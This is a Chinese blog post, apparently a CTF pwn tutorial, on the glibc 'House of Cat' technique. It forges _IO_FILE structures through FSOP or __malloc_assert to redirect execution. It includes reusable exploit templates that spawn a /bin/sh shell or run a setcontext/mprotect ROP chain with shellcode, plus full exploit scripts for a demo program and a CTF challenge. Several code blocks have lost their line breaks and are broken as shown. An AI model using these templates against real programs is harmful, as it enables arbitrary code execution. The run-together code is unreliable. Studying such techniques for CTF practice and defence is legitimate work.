当前位置: 首页 > news >正文

深入理解 House of Cat

Index

    • 序言
    • 利用 FSOP 调用 House of Cat
      • 利用条件
      • 伪造IO流条件
      • 完整调用链分析
    • 模板
      • System (one_gadget) 模板
      • ORW模板
    • Demo & Exp
    • 利用 __malloc_assert 调用 House of Cat
    • 例题:
      • 题目
      • 思路
      • Exp

序言

原文章:深入理解 House of Cat

随着 GNU 持续不断的更新,在 Glibc 2.34,__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除,意味着如果题目开了 Full RELRO,我们几乎无从下手…?

事实上,我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新,_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。

House of Cat 可以在任意版本利用,但是三种触发方式,有一种从高版本被移出Libc, _malloc_assert 在 Glibc 2.35 之后被移除,目前只剩下一种利用方式仍然可以打任意版本:FSOP。

利用 FSOP 调用 House of Cat

FSOP,全称 File Stream Oriented Programming,是一种通过伪造 _IO_FILE 结构体来实现的攻击,FSOP的完整调用链如下(仅包含关键函数):

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

利用条件

  1. 能够写一个可控地址

  2. 能够泄露堆地址以及Libc基址

  3. 能够触发IO流(FSOP,__malloc_assert)

伪造IO流条件

  1. _IO_save_base > 0

  2. _IO_write_ptr > _IO_write_base

  3. mode > 0 (mode = 1)

完整调用链分析

exit() 函数会调用 __run_exit_handlers 进行收尾工作,在处理 _IO_FILE 结构体时,会调用 _IO_cleanup 函数。

在这里插入图片描述
在这里插入图片描述

而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush ,同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。

在这里插入图片描述
在这里插入图片描述

_IO_OVERFLOW 实际上是一个宏定义函数,展开如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏,_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间,如果不合理会直接抛出致命错误然后退出程序。

在这里插入图片描述
在这里插入图片描述

通过劫持 vtable 指向的函数到我们所需的特定函数: _IO_wfile_seekoff 我们得以进行利用。

为什么一定要是 _IO_wfile_seekoff 呢?在上文我们调用 _IO_flush_all_lockp 时,存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。

在这里插入图片描述

也就是:

  1. _IO_FILE 结构体的 mode 必须大于0

  2. _wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base

  3. vtable 的偏移必须为0

这三个条件都是可以达成的,我们可以通过伪造 _IO_FILE 结构体实现,再看看 _IO_wfile_seekoff 函数。

在这里插入图片描述

眼熟吗?_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base,mode 大于0。刚好全部满足。

我们伪造的条件会使得我们进入最底下的语句。

  if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;

我们来查看 _IO_switch_to_wget_mode 做了什么事。

在这里插入图片描述

然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。

在这里插入图片描述

_IO_switch_to_wget_mode 中存在这么几条汇编代码:

<_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
<_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
<_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]<_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。

在这里插入图片描述

那么利用链就很清晰了:

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

我们只需要构造(覆写)_IO_FILE 结构体,即可完成利用。

模板

Pwntools 自带的 FileStrcture 不带 _mode,无法拿来写模板。

这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类,我把这个类提取出来放到自己的库里了。

System (one_gadget) 模板

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]

ORW模板

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += rop

为什么需要设置 _IO_save_base 为1?

在 _IO_flush_all_lockp 函数中,有这2句代码:

<_IO_flush_all_lockp+183>    mov    rcx, qword ptr [rax + 0x18]         RCX, [_IO_2_1_stderr_+72] => 1
<_IO_flush_all_lockp+187>    cmp    qword ptr [rax + 0x20], rcx         0x7f93da3c4720 - 0x1     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ]

这里会调用 _IO_2_1_stderr+72 ,也就是 _IO_save_base 的内容,并赋值给RCX寄存器。

在下文中,如果RCX寄存器为0,就会跳转到另一端代码执行:

<_IO_wfile_seekoff+48>    test   ecx, ecx                        1 & 1     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
<_IO_wfile_seekoff+50>    je     _IO_wfile_seekoff+1080      <_IO_wfile_seekoff+1080><_IO_wfile_seekoff+1080>    cmp    qword ptr [rax + 0x30], 0       0 - 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
<_IO_wfile_seekoff+1085>  ✔ je     _IO_wfile_seekoff+1504      <_IO_wfile_seekoff+1504>

这里上面两句对应的是

  if (mode == 0)return do_ftell_wide (fp);

可以从汇编看出来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当RCX为0时,程序进入了这段 if 语句。执行了 do_ftell_wide 函数,如果进入了 do_ftell_wide ,则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。

想劫持到哪就直接替换 _IO_save_end 指向的内容即可。

Demo & Exp

Libc:
在这里插入图片描述

#include <stdio.h>int main()
{puts("Gift");printf("Address of puts: %p\n", (void*)&puts);puts("Address showed.");read(0, (void*)stderr, 0x1000);return 0;
}
from PwnModules import *io, elf = get_utils('./demo.out', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')io.recvuntil(b'puts: ')
libc_base = recv_int_addr(io, 14) - libc.sym['puts']
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址# ORW 就取消掉 setcontext 等的注释即可。Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') # + p64(fake_io_addr + 0x128) + p64(ret)
# rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))# Fake_IO_File_Structure += ropshow_addr('_IO_2_1_stderr_: ', fake_io_addr)
show_addr('_IO_2_1_stdout_', libc_base + libc.sym['_IO_2_1_stdout_'])io.send(Fake_IO_File_Structure)io.interactive()

在这里插入图片描述

利用 __malloc_assert 调用 House of Cat

调用方式变成直接攻击 Top Chunk 即可。

满足以下三个条件之一即可触发 __malloc_assert

Top Chunk 的大小小于 MINSIZE(0x20)

Prev Inuse 位为0

Old_Top 页未对齐

例题:

题目

[NSSRound#14 Basic]Girlfriends’ notebooks

思路

使用 House of Orange 的思路,伪造 Top Chunk 的 size,释放旧 Top Chunk,泄露Libc基址

然后打 House of Cat 使用 ORW 输出 Flag。

Exp

from PwnModules import *io, elf = get_utils('./Girlfriendsnotebooks', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')def add(idx, size, data):io.sendlineafter(b': ', b'1')io.sendlineafter(b': ', str(idx))io.sendlineafter(b': ', str(size))io.sendafter(b': ', data)def show(idx):io.sendlineafter(b': ', b'2')io.sendlineafter(b': ', str(idx))def edit(idx, data):io.sendlineafter(b': ', b'4')io.sendlineafter(b': ', str(idx))io.sendafter(b': ', data)add(4, 0x108, p64(0) * 33 + p64(0xf51))
add(5, 0x1000, b'a' * 8)
add(6, 0xf00, b'a' * 8)
show(6)libc_base = leak_addr(2, io) - 0x21a2f0
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += ropshow_addr('Addr: ', fake_io_addr)# debug(io)
edit(-4, Fake_IO_File_Structure)io.interactive()

相关文章:

深入理解 House of Cat

Index 序言利用 FSOP 调用 House of Cat利用条件伪造IO流条件完整调用链分析 模板System (one_gadget) 模板ORW模板 Demo & Exp利用 __malloc_assert 调用 House of Cat例题&#xff1a;题目思路Exp 序言 原文章&#xff1a;深入理解 House of Cat 随着 GNU 持续不断的更…...

【Linux玩物志】Linux环境开发基本工具使用(1)——vim

W...Y的主页 &#x1f60a; 代码仓库分享&#x1f495; Linux开发工具 首先我们要知道vim是什么&#xff1f; vi&#xff08;Visual Editor&#xff09;是由美国程序员比尔乌尔曼&#xff08;Bill Joy&#xff09;于1976年开发的&#xff0c;最初是为了在Unix系统上进行文本编…...

Lora训练Windows[笔记]

一. 使用kohya_ss的GUI版本&#xff08;https://github.com/bmaltais/kohya_ss.git&#xff09; 这个版本跟stable-diffusion-webui的界面很像&#xff0c;只不过是训练模型专用而已&#xff0c;打开的端口同样是7860。 1.双击setup.bat,选择1安装好xformers,pytorch等和cuda…...

nuget局域网在线包制作,nuget打包,nuget打自己的包

目录 首先编辑类库项目的.csproj文件信息 打包项目 设置局域网nuget包 Nuget包管理器--->程序包源 微软帮助文档&#xff1a; NuGet 及其功能介绍 | Microsoft Learn https://learn.microsoft.com/zh-cn/nuget/what-is-nuget 承载自己的 NuGet 源 https://learn.mic…...

Ubuntu 24 换国内源及原理 (阿里源)

备份原文件 sudo cp /etc/apt/sources.list.d/ubuntu.sources /etc/apt/sources.list.d/ubuntu.sources.bak 编辑源文件 sudo gedit /etc/apt/sources.list.d/ubuntu.sources &#xff08;阿里源&#xff09; Types: deb deb-src URIs: https://mirrors.aliyun.com/ubunt…...

python学习-使用pandas库分析excel表,并导出所需的表

核心代码 # 导入pandas库 import pandas as pd # 导入正则表达式包 import re# 指定Excel文件的路径&#xff0c;这个data.xlsx表为原始表&#xff0c;表内有40个sheet子表 file_path data.xlsx # 读取各个子表 allDf pd.read_excel(file_path, sheet_nameNone) # 获取各个子…...

Python中使用C扩展详解

文章目录 1. Python/C API示例2. Cython示例3. ctypes关于C扩展的进一步讨论安全性和兼容性性能优化策略调试C扩展发布和分发C扩展 应用实例&#xff1a;加速矩阵乘法运算1. 准备C扩展代码2. 编译C扩展3. 在Python中使用C扩展 在Python中&#xff0c;使用C扩展是一种提高程序性…...

llama使用tutorial微调(windows版本)

Llama3-Tutorial/docs/assistant.md at main SmartFlowAI/Llama3-Tutorial GitHub 有一些命令需要修改 前期的安装还是要按照教程搞的 streamlit run ~/Llama3-Tutorial/tools/internstudio_web_demo.py \ ~/model/Meta-Llama-3-8B-Instruct 改为了 streamlit run .\Ll…...

MyBatis操作数据库(动态SQL)

1 动态SQL 动态SQL是MyBatis的特征之一&#xff0c;能够完成不同条件下不同的SQL拼接 1.1 <if>标签 在注册用户的时候&#xff0c;可能会有这样一个问题&#xff0c;由于注册分为两种字段&#xff1a;必填字段和非必填字段&#xff0c;如果在添加用户的时候有不确定的…...

python发票真伪查验开发文档、票据OCR、数电票查验

想象一下&#xff0c;只需一行行简洁的代码&#xff0c;复杂繁琐的发票审核工作瞬间变得井然有序。翔云发票查验开发文档详尽易懂&#xff0c;即便是Python新手也能迅速上手&#xff0c;搭建起自己的发票真伪查验系统。无论是纸质发票的扫描图像&#xff0c;还是电子发票的数据…...

Unity构建详解(12)——自动构建

【前言】 自动构建是指整个构建流程不需要人工操作&#xff0c;只需要输入启动构建指令即可获取构建结果。实现这样的自动构建需要满足以下条件&#xff1a; 支持命令行参数启动 我们不可能每次构建时都打开Unity去手动点击构建&#xff0c;必须支持通过命令行启动Unity自动执…...

中文编程降低了中文环境下编程入门的门槛

近年来&#xff0c;随着编程技术的普及和中文编程环境的日益成熟&#xff0c;越来越多的开发者开始使用中文进行编程。中文编程不仅提高了代码的可读性和理解性&#xff0c;而且在一定程度上降低了中文环境下编程的入门门槛。本文将详细探讨中文编程的优势&#xff0c;以及它如…...

通过内网穿透免费部署我们的springboot+vue项目 实现跟服务器一样的效果

前文讲到通过内网穿透能够实现远程访问个人电脑的静态资源。本文将讲解通过内网穿透实现远程访问本地的项目&#xff0c;实现跟部署到服务器一样的效果&#xff1a;前文链接&#xff1a;通过内网穿透实现远程访问个人电脑资源详细过程&#xff08;免费&#xff09;&#xff08;…...

SMB攻击利用之-mimikatz上传/下载流量数据包逆向分析

SMB协议作为windows环境下最为常见的一种协议,在历史上出现过无数的通过SMB协议进行网络攻击利用的案例,包括针对SMB协议本身以及通过SMB协议实施网络攻击。 本文将介绍一种通过SMB协议的常见利用方式,即向远程主机传输mimikatz,作为我的专栏《SMB攻击流量数据包分析》中的…...

Mysql常见数据类型探索

Mysql常见数据类型探索 数值类型 MySQL 支持所有标准 SQL 数值数据类型。 这些类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL 和 NUMERIC)&#xff0c;以及近似数值数据类型(FLOAT、REAL 和 DOUBLE PRECISION)。 关键字INT是INTEGER的同义词&#xff0c;关键字DEC是…...

2024 年第四届长三角高校数学建模竞赛赛题B题超详细解题思路+问题一二代码分享

2024年第四届长三角数学建模竞赛B题详细解题思路 赛道B&#xff1a;人工智能范式的物理化学家 长三角分享资料&#xff08;问题一代码论文思路&#xff09;链接&#xff08;18点更新&#xff09;&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1lteKvIWNZ4v-Gd7oOcg…...

干货速学!1+X电子商务数据分析:电子商务数据分析的流程

电商数据采集API接口 生活中的数据分析 日常工作和生活中处处都有数据分析的存在&#xff0c;比如消费者在购买不同商品前&#xff0c;经常会对儿“性价比”进行简单分析&#xff0c;价格表现为固定的货币数字。性能则具体体现在商品质量、客户收务等客观因素和客户对该商品的需…...

618好物推荐大赏:2024年必囤好物一网打尽,购物攻略助你抢购无忧!

在618购物狂欢节来临之际&#xff0c;我为大家精心挑选了一系列好物&#xff0c;它们不仅品质卓越&#xff0c;更能在日常生活中为我们带来无限便利与乐趣。这里的每一款产品都经过我严格筛选&#xff0c;只为给你最优质的购物体验。让我们一起在这个618&#xff0c;发现生活中…...

【MySQL】基础操作(DDL,DML,DCL,DQL)

安装教程自行搜索&#xff0c;网上有很多 用户名设置为 root密码设置为 123456可以不这样设置&#xff0c;但要记好用户名密码&#xff0c;相关的代码也要自行更改 打开命令提示符程序(winR打开输入cmd回车) 输入&#xff1a;mysql -uroot -p 回车输入密码即可进入命令行环境…...

工厂自动化升级改造(3)-Modbus与MQTT的转换

什么是MQTT,Modbus,见下面文章 工厂自动化升级改造参考(01)--设备通信协议详解及选型-CSDN博客文章浏览阅读608次,点赞9次,收藏6次。>>特点:基于标准的以太网技术,使用TCP/IP协议栈,支持高速数据传输和局域网内的设备通信。>>>特点:跨平台的通信协议,…...

[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?

&#x1f9e0; 智能合约中的数据是如何在区块链中保持一致的&#xff1f; 为什么所有区块链节点都能得出相同结果&#xff1f;合约调用这么复杂&#xff0c;状态真能保持一致吗&#xff1f;本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里&#xf…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

OkHttp 中实现断点续传 demo

在 OkHttp 中实现断点续传主要通过以下步骤完成&#xff0c;核心是利用 HTTP 协议的 Range 请求头指定下载范围&#xff1a; 实现原理 Range 请求头&#xff1a;向服务器请求文件的特定字节范围&#xff08;如 Range: bytes1024-&#xff09; 本地文件记录&#xff1a;保存已…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询操作。 缓存逻辑分析&#xff1a; ①每个分类下的菜品保持一份缓存数据…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序

一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...

uniapp中使用aixos 报错

问题&#xff1a; 在uniapp中使用aixos&#xff0c;运行后报如下错误&#xff1a; AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

如何应对敏捷转型中的团队阻力

应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中&#xff0c;明确沟通敏捷转型目的尤为关键&#xff0c;团队成员只有清晰理解转型背后的原因和利益&#xff0c;才能降低对变化的…...